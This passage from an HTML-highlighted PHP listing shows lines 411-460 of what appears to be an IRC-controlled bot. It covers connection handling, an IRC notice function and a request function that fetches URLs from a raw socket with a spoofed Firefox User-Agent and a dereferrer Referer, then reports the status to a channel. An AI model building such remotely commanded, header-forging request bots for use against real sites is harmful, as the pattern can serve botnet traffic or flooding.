ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum411&quot;&gt; 411:&lt;/span&gt;                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum412&quot;&gt; 412:&lt;/span&gt;                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum413&quot;&gt; 413:&lt;/span&gt;                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum414&quot;&gt; 414:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum415&quot;&gt; 415:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;debug&#39;&lt;/span&gt;] == &lt;span style=&quot;color: #0000ff&quot;&gt;true&lt;/span&gt;)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum416&quot;&gt; 416:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum417&quot;&gt; 417:&lt;/span&gt;                         &lt;span style=&quot;color: #0000ff&quot;&gt;print&lt;/span&gt; $this-&amp;gt;buffer.&lt;span style=&quot;color: #006080&quot;&gt;&quot;\r\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum418&quot;&gt; 418:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum419&quot;&gt; 419:&lt;/span&gt;                 $old_buffer = $this-&amp;gt;buffer;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum420&quot;&gt; 420:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum421&quot;&gt; 421:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(feof($this-&amp;gt;connection))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum422&quot;&gt; 422:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum423&quot;&gt; 423:&lt;/span&gt;                 $this-&amp;gt;init();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum424&quot;&gt; 424:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum425&quot;&gt; 425:&lt;/span&gt;         $this-&amp;gt;init();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum426&quot;&gt; 426:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum427&quot;&gt; 427:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum428&quot;&gt; 428:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; notice($nick, $msg) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum429&quot;&gt; 429:&lt;/span&gt;         $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;NOTICE $nick :$msg&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum430&quot;&gt; 430:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum431&quot;&gt; 431:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum432&quot;&gt; 432:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; reqhttp($url) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum433&quot;&gt; 433:&lt;/span&gt;         $site = parse_url($url);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum434&quot;&gt; 434:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($site[&lt;span style=&quot;color: #006080&quot;&gt;&#39;path&#39;&lt;/span&gt;]))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum435&quot;&gt; 435:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum436&quot;&gt; 436:&lt;/span&gt;                 $site[&lt;span style=&quot;color: #006080&quot;&gt;&#39;path&#39;&lt;/span&gt;] = &lt;span style=&quot;color: #006080&quot;&gt;&quot;/&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum437&quot;&gt; 437:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum438&quot;&gt; 438:&lt;/span&gt;         $payload =&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum439&quot;&gt; 439:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;GET %s HTTP/1.0\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum440&quot;&gt; 440:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum441&quot;&gt; 441:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Accept-Language: en-us\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum442&quot;&gt; 442:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum443&quot;&gt; 443:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum444&quot;&gt; 444:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Pragma: no-cache\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum445&quot;&gt; 445:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Host: %s\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum446&quot;&gt; 446:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Referer: http://base64.derefer.me/?%s\\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum447&quot;&gt; 447:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Keep-Alive: timeout=5, max=100\r\n&quot;&lt;/span&gt;.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum448&quot;&gt; 448:&lt;/span&gt;                 &lt;span style=&quot;color: #006080&quot;&gt;&quot;Connection: Keep-Alive\r\n\r\n&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum449&quot;&gt; 449:&lt;/span&gt;         $finalpayload = sprintf($payload, $site[&lt;span style=&quot;color: #006080&quot;&gt;&#39;path&#39;&lt;/span&gt;], $site[&lt;span style=&quot;color: #006080&quot;&gt;&#39;host&#39;&lt;/span&gt;], base64_encode($url));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum450&quot;&gt; 450:&lt;/span&gt;         $sock = @fsockopen($site[&lt;span style=&quot;color: #006080&quot;&gt;&#39;host&#39;&lt;/span&gt;], 80, $errno, $errstr, 30);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum451&quot;&gt; 451:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!$sock)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum452&quot;&gt; 452:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum453&quot;&gt; 453:&lt;/span&gt;                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;$errstr&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum454&quot;&gt; 454:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum455&quot;&gt; 455:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum456&quot;&gt; 456:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum457&quot;&gt; 457:&lt;/span&gt;                 @fwrite($sock, $finalpayload);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum458&quot;&gt; 458:&lt;/span&gt;                 $status = @fgets($sock, 2000);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum459&quot;&gt; 459:&lt;/span&gt;                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;HTTP Status: [ &quot;&lt;/span&gt;.$status.&lt;span style=&quot;color: #006080&quot;&gt;&quot; ]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum460&quot;&gt; 460:&lt;/span&gt;                 @fclose($sock);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: 